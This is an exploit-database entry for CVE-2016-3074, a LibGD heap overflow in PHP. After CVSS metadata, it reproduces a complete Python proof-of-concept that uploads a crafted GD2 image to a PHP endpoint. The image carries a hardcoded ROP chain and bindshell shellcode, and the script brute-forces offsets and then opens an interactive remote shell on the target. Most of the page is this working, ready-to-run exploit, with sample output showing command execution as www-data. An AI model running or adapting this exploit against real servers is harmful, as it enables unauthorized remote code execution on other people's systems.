Exploitalert - Database of Exploits

PHP LibGD Heap Buffer Overflow

CVE	Category	Price	Severity
CVE-2016-3074	CWE-120	$5000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-01-17

CPE
cpe:cpe:/a:libgd:libgd

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017010111

PHP LibGD Heap Buffer Overflow#!/usr/bin/env python2 # # PoC for CVE-2016-3074 targeting Ubuntu 15.10 x86-64 with php5-gd and # php5-fpm running behind nginx. # # ,---- # | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php # | [*] this may take a while # | [*] offset 912 of 10000... # | [+] connected to 1.2.3.4:5555 # | id # | uid=33(www-data) gid=33(www-data) groups=33(www-data) # | # | uname -a # | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC # | 2016 x86_64 x86_64 x86_64 GNU/Linux # | # | dpkg -l|grep -E "php5-(fpm|gd)" # | ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ... # | ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ... # | # | cat upload.php # | <?php # | imagecreatefromgd2($_FILES["file"]["tmp_name"]); # | ?> # `---- # # - Hans Jerry Illikainen # import sys import os import zlib import socket import threading import argparse import urlparse from struct import pack import requests # non-optimized bindshell from binjitsu # # context(arch="amd64", os="linux") # asm(shellcraft.bindsh(port, "ipv4")) shellcode = [ "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x52\xba", "%(fam-and-port)s\x52\x6a\x10\x5a\x48\x89\xc5\x48\x89\xc7", "\x6a\x31\x58\x48\x89\xe6\x0f\x05\x6a\x32\x58\x48\x89\xef", "\x6a\x01\x5e\x0f\x05\x6a\x2b\x58\x48\x89\xef\x31\xf6\x99", "\x0f\x05\x48\x89\xc5\x6a\x03\x5e\x48\xff\xce\x78\x0b\x56", "\x6a\x21\x58\x48\x89\xef\x0f\x05\xeb\xef\x6a\x68\x48\xb8", "\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x6a\x3b\x58\x48\x89", "\xe7\x31\xf6\x99\x0f\x05" ] gadgets = [ "\x90" * 40, # [16] # # 0xb6eca2: popfq # 0xb6eca3: callq *%rsp pack("<Q", 0xb6eca2), "%(pad)s", # [2] # # 0x4dbe8c: add $0xd8,%rsp # 0x4dbe93: retq pack("<Q", 0x4dbe8c), "\x90" * 48, # [1] # # (gdb) x/x {void *}($rsp + 8) # 0x12d7d60: 0x9090909090909090 # # 0xa91f35: rex.WXB pop %r14 # 0xa91f37: mov $0x3,%bh # 0xa91f39: pop %rsp # 0xa91f3a: retq pack("<Q", 0xa91f35), "\x90" * 152, # [0] # # (gdb) x/i $rip # => 0x7f91acf61f46: callq *0x70(%rax) # # (gdb) x/gx 0x432b80 # 0x432b80: 0x0000000000547880 # # (gdb) x/3i 0x0000000000547880 # 0x547880: push %rbx # 0x547881: mov %rdi,%rbx # 0x547884: callq *0x20(%rdi) pack("<Q", 0x432b80 - 0x70), # [3] # # 0x463e2c: pop %rbx # 0x463e2d: retq pack("<Q", 0x463e2c), # [7] # # 0x463b1d: pop %r12 # 0x463b1f: retq pack("<Q", 0x463b1d), # [4] # # 0x473053: pop %rax # 0x473054: retq pack("<Q", 0x473053), # [6] # # 0xa8bc37: push %rdx # 0xa8bc38: jmpq *%rbx pack("<Q", 0xa8bc37), # [5] # # 0x7b2eaf: mov %r9,%rdx # 0x7b2eb2: jmpq *%rax pack("<Q", 0x7b2eaf), # [8] # # 0x552768: mov %rdi,%rax # 0x55276b: retq pack("<Q", 0x552768), # [9] # # 0x463e2c: pop %rbx # 0x463e2d: retq pack("<Q", 0x463e2c), pack("<Q", 0xfffff000), # [10] # # 0xb6c734: and %ebx,%eax # 0xb6c736: es retq pack("<Q", 0xb6c734), # [11] # # 0x4c93e9: xchg %eax,%ebx # 0x4c93ea: retq pack("<Q", 0x4c93e9), # [12] # # 0x406a08: pop %rcx (len, 0x5555) # 0x406a09: retq pack("<Q", 0x406a08), pack("<Q", 0x5555), # [13] # # 0xaf58fd: pop %rdx (PROT_READ|PROT_WRITE|PROT_EXEC) # 0xaf58fe: retq pack("<Q", 0xaf58fd), pack("<Q", 7), # [14] # # 0x473053: pop %rax (mprotect) # 0x473054: retq pack("<Q", 0x473053), pack("<Q", 125), # [15] # # 0x53f9f8: int $0x80 # 0x53f9fa: mov 0x38(%r12),%rsi # 0x53f9ff: mov $0x8f,%edi # 0x53fa04: callq *0x28(%r12) pack("<Q", 0x53f9f8), "\x90" * 100, ] # gd.h: #define gdMaxColors 256 gd_max_colors = 256 def make_gd2(chunks): gd2 = [ "gd2\x00", # signature pack(">H", 2), # version pack(">H", 1), # image size (x) pack(">H", 1), # image size (y) pack(">H", 0x40), # chunk size (0x40 <= cs <= 0x80) pack(">H", 2), # format (GD2_FMT_COMPRESSED) pack(">H", 1), # num of chunks wide pack(">H", len(chunks)) # num of chunks high ] colors = [ pack(">B", 0), # trueColorFlag pack(">H", 0), # im->colorsTotal pack(">I", 0), # im->transparent pack(">I", 0) * gd_max_colors # red[i], green[i], blue[i], alpha[i] ] offset = len("".join(gd2)) + len("".join(colors)) + len(chunks) * 8 for data, size in chunks: gd2.append(pack(">I", offset)) # cidx[i].offset gd2.append(pack(">I", size)) # cidx[i].size offset += size return "".join(gd2 + colors + [data for data, size in chunks]) def connect(host, port): addr = socket.gethostbyname(host) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((addr, port)) except socket.error: return print("\n[+] connected to %s:%d" % (host, port)) if os.fork() == 0: while True: try: data = sock.recv(8192) except KeyboardInterrupt: sys.exit("\n[!] receiver aborting") if data == "": sys.exit("[!] receiver aborting") sys.stdout.write(data) else: while True: try: cmd = sys.stdin.readline() except KeyboardInterrupt: sock.close() sys.exit("[!] sender aborting") sock.send(cmd) def send_gd2(url, gd2, code): files = {"file": gd2} try: req = requests.post(url, files=files, timeout=5) code.append(req.status_code) except requests.exceptions.ReadTimeout: pass def get_payload(offset, port): rop = "".join(gadgets) % {"pad": "\x90" * offset} fam_and_port = pack("<I", (socket.AF_INET | (socket.htons(port) << 16))) sc = "".join(shellcode) % {"fam-and-port": fam_and_port} return rop + sc def get_args(): p = argparse.ArgumentParser() p.add_argument("--threads", type=int, default=20) p.add_argument("--bind-port", type=int, default=8000) p.add_argument("--offsets", type=int, default=[0, 10000], nargs=2) p.add_argument("url") return p.parse_args() def main(): args = get_args() host = urlparse.urlparse(args.url).netloc.split(":")[0] print("[*] this may take a while") for i in range(args.offsets[0], args.offsets[1]): sys.stdout.write("\r[*] offset %d of %d..." % (i, args.offsets[1])) sys.stdout.flush() valid = zlib.compress("A" * 100, 0) payload = get_payload(i, args.bind_port) gd2 = make_gd2([(valid, len(valid)), (payload, 0xffffffff)]) threads = [] code = [] for _ in range(args.threads): t = threading.Thread(target=send_gd2, args=(args.url, gd2, code)) t.start() threads.append(t) for t in threads: t.join() if 404 in code: sys.exit("\n[-] 404: %s" % args.url) connect(host, args.bind_port) print("\n[-] nope...") if __name__ == "__main__": main()

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